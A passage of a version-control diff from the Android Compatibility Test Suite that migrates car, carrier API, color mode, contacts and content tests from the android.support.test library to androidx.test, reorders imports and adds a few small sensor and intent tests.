+++ b/tests/tests/car/AndroidManifest.xml
@@ -31,7 +31,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.car.cts"
android:label="CTS tests for Automotive">
<meta-data android:name="listener"
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index 7cf6a73..71db227 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -19,27 +19,22 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assume.assumeTrue;
-
import android.car.Car;
import android.content.ComponentName;
import android.content.Context;
import android.content.ServiceConnection;
import android.os.IBinder;
import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.FeatureUtil;
+import org.junit.After;
+
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
-import org.junit.After;
-
public abstract class CarApiTestBase {
protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index 910819d..f7379f4 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -15,35 +15,33 @@
*/
package android.car.cts;
+import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
+import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import static android.car.CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED;
-import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
-import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
-
import android.car.Car;
import android.car.CarAppFocusManager;
import android.content.Context;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
-
import android.util.Log;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
@SmallTest
@RequiresDevice
@RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index 51cd291..6559a12 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -19,11 +19,11 @@
import android.car.Car;
import android.car.CarInfoManager;
-import android.os.Bundle;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index ec79572..5f391e4 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -15,29 +15,19 @@
*/
package android.car.cts;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.car.Car;
import android.car.CarNotConnectedException;
import android.car.content.pm.CarPackageManager;
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
-import java.util.List;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
index d19d04d..5325768 100644
--- a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
@@ -16,27 +16,24 @@
package android.car.cts;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import android.car.Car;
-import android.car.hardware.CarSensorEvent;
import android.car.hardware.CarSensorManager;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CddTest;
-import java.util.stream.IntStream;
-
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.stream.IntStream;
+
@SmallTest
@RequiresDevice
@RunWith(AndroidJUnit4.class)
@@ -56,26 +53,31 @@
@CddTest(requirement="2.5.1")
@Test
public void testRequiredSensorsForDrivingState() throws Exception {
- boolean foundSpeed = false;
- boolean foundGear = false;
- for (int sensor: mSupportedSensors) {
- if (sensor == CarSensorManager.SENSOR_TYPE_CAR_SPEED) {
- foundSpeed = true;
- } else if ( sensor == CarSensorManager.SENSOR_TYPE_GEAR) {
- foundGear = true;
- }
- if (foundGear && foundSpeed) {
- break;
- }
- }
- assertTrue(foundGear && foundSpeed);
+ boolean foundSpeed =
+ isSupportSensor(CarSensorManager.SENSOR_TYPE_CAR_SPEED);
+ boolean foundGear = isSupportSensor(CarSensorManager.SENSOR_TYPE_GEAR);
+ assertTrue("Must support SENSOR_TYPE_CAR_SPEED", foundSpeed);
+ assertTrue("Must support SENSOR_TYPE_GEAR", foundGear);
}
@CddTest(requirement="2.5.1")
@Test
public void testMustSupportNightSensor() {
- assertTrue("Must support SENSOR_TYPE_NIGHT",
- IntStream.of(mSupportedSensors)
- .anyMatch(x -> x == CarSensorManager.SENSOR_TYPE_NIGHT));
+ boolean foundNightSensor =
+ isSupportSensor(CarSensorManager.SENSOR_TYPE_NIGHT);
+ assertTrue("Must support SENSOR_TYPE_NIGHT", foundNightSensor);
+ }
+
+ @CddTest(requirement = "2.5.1")
+ @Test
+ public void testMustSupportParkingBrake() throws Exception {
+ boolean foundParkingBrake =
+ isSupportSensor(CarSensorManager.SENSOR_TYPE_PARKING_BRAKE);
+ assertTrue("Must support SENSOR_TYPE_PARKING_BRAKE", foundParkingBrake);
+ }
+
+ private boolean isSupportSensor(int sensorType) {
+ return IntStream.of(mSupportedSensors)
+ .anyMatch(x -> x == sensorType);
}
}
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index e406008..824a11b 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -18,7 +18,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
@@ -27,20 +26,20 @@
import android.content.ServiceConnection;
import android.os.IBinder;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
-import com.android.compatibility.common.util.FeatureUtil;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
+import com.android.compatibility.common.util.FeatureUtil;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
@SmallTest
@RequiresDevice
@RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 4a14de9..5b90ee1 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -16,15 +16,15 @@
package android.car.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNull;
import static org.junit.Assume.assumeTrue;
import android.car.CarNotConnectedException;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.FeatureUtil;
import org.junit.Before;
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 3386907..b0a0c78 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -23,8 +23,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
junit
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/carrierapi/AndroidManifest.xml b/tests/tests/carrierapi/AndroidManifest.xml
index aae162a..dffc7f1 100644
--- a/tests/tests/carrierapi/AndroidManifest.xml
+++ b/tests/tests/carrierapi/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.carrierapi.cts">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
index 28afabc..91ba3fc 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
@@ -15,6 +15,12 @@
*/
package android.carrierapi.cts;
+import static junit.framework.TestCase.assertEquals;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.pm.PackageManager;
@@ -22,10 +28,11 @@
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.provider.Telephony.Carriers;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,11 +41,6 @@
import java.util.HashMap;
import java.util.Map;
-import static junit.framework.TestCase.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
/**
* Build, install and run the tests by running the commands below:
* make cts -j64
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 77d2f82..fc66dc5 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -15,14 +15,19 @@
*/
package android.carrierapi.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Message;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+import android.telephony.AccessNetworkConstants;
import android.telephony.CellInfo;
import android.telephony.CellInfoGsm;
import android.telephony.CellInfoLte;
@@ -30,27 +35,21 @@
import android.telephony.NetworkScan;
import android.telephony.NetworkScanRequest;
import android.telephony.RadioAccessSpecifier;
-import android.telephony.AccessNetworkConstants;
import android.telephony.TelephonyManager;
import android.telephony.TelephonyScanManager;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import java.util.Arrays;
import java.util.List;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
/**
* Build, install and run the tests by running the commands below:
* make cts -j64
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index ad1a9c5..1bce247 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk
@@ -24,7 +24,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/colormode/AndroidManifest.xml b/tests/tests/colormode/AndroidManifest.xml
index 4c65c59..48971af 100644
--- a/tests/tests/colormode/AndroidManifest.xml
+++ b/tests/tests/colormode/AndroidManifest.xml
@@ -28,7 +28,7 @@
<activity android:name="android.colormode.AttributeWideColorModeActivity" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.colormode.cts"
android:label="Tests for the Color Mode APIs." >
<meta-data android:name="listener"
diff --git a/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
index a129b79..e3a5e7e 100644
--- a/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
@@ -16,21 +16,23 @@
package android.colormode.cts;
+import static org.junit.Assert.assertEquals;
+
import android.app.Activity;
import android.colormode.AttributeWideColorModeActivity;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Window;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-
@MediumTest
@RunWith(AndroidJUnit4.class)
public class AttributeWideColorModeTest {
diff --git a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
index 4d076f8..71f8d11 100644
--- a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
@@ -16,22 +16,24 @@
package android.colormode.cts;
-import android.colormode.DefaultColorModeActivity;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
import android.app.Activity;
+import android.colormode.DefaultColorModeActivity;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Window;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-
@MediumTest
@RunWith(AndroidJUnit4.class)
public class DefaultColorModeTest {
diff --git a/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
index 64f37c6..f7c8c91 100644
--- a/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
@@ -16,21 +16,23 @@
package android.colormode.cts;
+import static org.junit.Assert.assertEquals;
+
import android.app.Activity;
import android.colormode.WideColorModeActivity;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Window;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-
@MediumTest
@RunWith(AndroidJUnit4.class)
public class WideColorModeTest {
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
index 1c62e70..e046fad 100644
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -21,11 +21,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/contactsproviderwipe/AndroidManifest.xml b/tests/tests/contactsproviderwipe/AndroidManifest.xml
index 9ac9ad0..deab721 100644
--- a/tests/tests/contactsproviderwipe/AndroidManifest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.provider.cts.contactsproviderwipe">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
index 1981853..294735c 100644
--- a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
+++ b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
@@ -32,11 +32,12 @@
import android.provider.ContactsContract;
import android.provider.ContactsContract.Intents;
import android.provider.ContactsContract.ProviderStatus;
-import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
import android.text.TextUtils;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 616f898..4b7415d 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -30,8 +30,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs android.test.mock
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
services.core \
junit \
truth-prebuilt \
@@ -40,7 +40,7 @@
LOCAL_STATIC_ANDROID_LIBRARIES := androidx.legacy_legacy-support-v4
# Use multi-dex as the compatibility-common-util-devicesidelib dependency
-# on compatibility-device-util pushes us beyond 64k methods.
+# on compatibility-device-util-axt pushes us beyond 64k methods.
LOCAL_JACK_FLAGS := --multi-dex native
LOCAL_DX_FLAGS := --multi-dex
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 20baa2d..3f23915 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -310,7 +310,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.cts"
android:label="CTS tests of android.content">
<meta-data android:name="listener"
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 4b22631..a15196f 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -35,7 +35,7 @@
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="runner" value="android.support.test.runner.AndroidJUnitRunner" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="package" value="android.content.cts" />
<option name="runtime-hint" value="21m30s" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
index 01df0b5..959fab5 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -21,8 +21,8 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- ctstestrunner \
+ androidx.test.rules \
+ ctstestrunner-axt \
accountaccesslib
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
index e1fd828..67d20f9 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
@@ -35,7 +35,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.content" />
</manifest>
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index 58d8c4e..de52e73 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -38,17 +38,17 @@
import android.content.AbstractThreadedSyncAdapter;
import android.content.ContentResolver;
import android.content.Context;
-import android.content.res.Configuration;
import android.content.SyncRequest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import android.content.res.Configuration;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
import android.util.Log;
-import android.view.KeyEvent;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/content/lib/accountaccess/Android.mk b/tests/tests/content/lib/accountaccess/Android.mk
index 2832452..134eb40 100644
--- a/tests/tests/content/lib/accountaccess/Android.mk
+++ b/tests/tests/content/lib/accountaccess/Android.mk
@@ -24,6 +24,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := mockito-target \
ub-uiautomator \
- compatibility-device-util
+ compatibility-device-util-axt
include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java b/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java
index e6b7430..6a85833 100644
--- a/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java
+++ b/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java
@@ -15,11 +15,12 @@
import android.os.Bundle;
import android.os.Process;
import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SystemUtil;
import java.io.IOException;
diff --git a/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java b/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java
index 95af4ca..00ca747 100644
--- a/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java
+++ b/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java
@@ -30,8 +30,9 @@
import static org.mockito.Mockito.verify;
import android.content.AbstractThreadedSyncAdapter;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import com.android.cts.content.AlwaysSyncableSyncService;
import com.android.cts.content.FlakyTestRule;
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 4723524..7ded622 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -365,4 +365,20 @@
assertCanBeHandled(new Intent("android.settings.LOCATION_SCANNING_SETTINGS"));
}
}
+
+ public void testPowerUsageSummarySettings() {
+ if (isHandheld()) {
+ assertCanBeHandled(new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
+ }
+ }
+
+ private boolean isHandheld() {
+ // handheld nature is not exposed to package manager, for now
+ // we check for touchscreen and NOT watch, NOT tv and NOT car
+ PackageManager pm = getContext().getPackageManager();
+ return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+ && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+ && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+ && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+ }
}
diff --git a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
index bd9756e..35831bb 100644
--- a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
@@ -21,10 +21,11 @@
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
index c5a7d7d..31d63ee 100644
--- a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
@@ -31,8 +31,9 @@
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/content/src/android/content/cts/DeferSyncTest.java b/tests/tests/content/src/android/content/cts/DeferSyncTest.java
index 457da10..29a6ecf 100644
--- a/tests/tests/content/src/android/content/cts/DeferSyncTest.java
+++ b/tests/tests/content/src/android/content/cts/DeferSyncTest.java
@@ -39,8 +39,9 @@
import android.content.AbstractThreadedSyncAdapter;
import android.content.ContentResolver;
import android.os.Bundle;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import com.android.cts.content.AlwaysSyncableSyncService;
import com.android.cts.content.FlakyTestRule;
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index 29c533c..cfa2189 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -21,12 +21,9 @@
import static android.content.pm.ApplicationInfo.CATEGORY_UNDEFINED;
